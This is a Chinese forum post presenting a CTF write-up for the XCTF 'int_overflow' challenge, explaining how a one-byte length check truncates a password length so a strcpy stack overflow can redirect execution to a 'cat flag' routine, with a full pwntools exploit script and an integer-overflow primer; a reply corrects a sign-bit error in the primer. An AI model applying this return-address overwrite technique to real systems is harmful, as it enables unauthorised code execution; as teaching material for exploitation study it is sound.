吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5428|回复: 10
收起左侧

[CTF] XCTF攻防世界int_overflow

  [复制链接]
yaoyao7 发表于 2019-10-2 19:20
本帖最后由 yaoyao7 于 2019-10-3 11:17 编辑

int_overflow题解
首先,进行程序基本信息检查:

basic_info.png


没有canary,没有PIE。程序执行是先选择一个子流程,然后输入username,再输入passwd。这里要考虑程序是否会对输入的字符串的长度进行限制,先留心一下。
IDA查看一下源码:
- 首先看一下strings:

strings.png

    有收获,存在几个危险函数,而且存在"cat flag",可以考虑直接调用。- 进main函数看一下:


main.png

没有发现什么大问题,直接进login。


login.png

需要留心一下,username和passwd都做了最大长度限制。但是passwd的长度未免太长了吧。。。太可疑。- 进入check_passwd查看对passwd的处理:


vuln_check_passwd.png

到这里就很明显了,函数首先设定了v3变量,但是大小只有一个字节,共8bit。前面对passwd进行长度限制时,最大长度为0x199,这很明显一个字节存储不下。那么会发生什么呢?整数溢出。(后续会给出整数溢出的相关知识介绍)
输入的passwd的长度给到v3,进行判断,因为存在整数溢出,所以这里输入的字符的个数不管是3~8还是259~264都是可以通过验证的。再往下,使用strcpy将passwd拷贝进stack中,stack中给出的保存passwd的大小为0x14 :


stack_check_passwd.png   

如果输入的passwd的字符个数超过了0x14,那么就会覆盖到stack中的内容。
- 覆盖数据计算:
    思路已经确定,利用整数溢出漏洞来输入大量的passwd字符造成栈溢出。具体长度只要在259~264之间即可。此处选择262。看一下汇编确认具体的填充数据结构:


    check_passwd_assembly.png
         check_passwd_assembly-1.png

    从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。


    what_is_this.png

    所以payload的构成为:
    payload = "A"*0x14 +"AAAA"+ P32(cat_flag_addr) + "A"*234(262-0x14-4-4)   



EXP:
[Python] 纯文本查看 复制代码
from pwn import *

sh=remote('111.198.29.45',44241)

sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","xctf")

cat_flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(cat_flag_addr) + "A" * 234

sh.sendlineafter("passwd:\n",payload)
print sh.recvall()

执行结果

flag.png

整数溢出的相关知识
整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数 最高位为0,负数为1,无符号数取值范围为非负数,常见各类型占用字节数如下:

type.png

对于unsigned short int类型的数据,var1 = 1,var2 = 65537,用计算器看一下:

1.png 65537.png


65537会发生高位截断,截断之后最高位的1被舍弃,这样数据就变成了1。使用代码验证一下:
[C] 纯文本查看 复制代码
#include <stdio.h>
int main(){
    unsigned short int a = 1;
    unsigned short int b = 65537;
    if(a == b){
        printf("Int overflow sucssesfully!\n");
    }
    return 0;
}

编译运行之后如下:


int_overflow_learning.png


也就是说,对于一个2字节的unsigned short int 型变量,它的有效数据长度为2个字节,当它的数据长度超过2个字节时,就发生溢出,溢出的部分则直接忽略。使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况,其他类型变量和数值与之类似,更为详细的说明可以参考ctf-all-in-one。






免费评分

参与人数 6威望 +1 吾爱币 +10 热心值 +6 收起 理由
wqq2371 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 7 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
毛新航 + 1 谢谢@Thanks!
道韵三千 + 1 热心回复!
超能小虎 + 1 + 1 谢谢@Thanks!
SKnight + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

zjg1727 发表于 2019-10-3 08:30
更正一个错误。

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数 最高位为1,负数为0,

->
     有符号数以最高位作为其符号位,最高位为0时是正数,为1时为负数    吧?
o651560441 发表于 2019-10-2 20:03
这些楼主分享,小白只能多努力了!希望有一天有大神你的技术
xiaocaiyun 发表于 2019-10-2 20:06
宁逍遥 发表于 2019-10-2 20:39
吾爱大神多,小白来膜拜
学士天下 发表于 2019-10-2 20:48
哇!!!国庆都不休息,国庆快乐啊!!!
lep52 发表于 2019-10-2 21:18
学习一下
wqs0987 发表于 2019-10-3 08:42
虽然看不懂,但觉得很牛气!
Sunn11y 发表于 2019-10-3 08:45
学习一下~
 楼主| yaoyao7 发表于 2019-10-3 11:18
zjg1727 发表于 2019-10-3 08:30
更正一个错误。

不知道自己当时在想什么 感谢指正
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 16:39

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表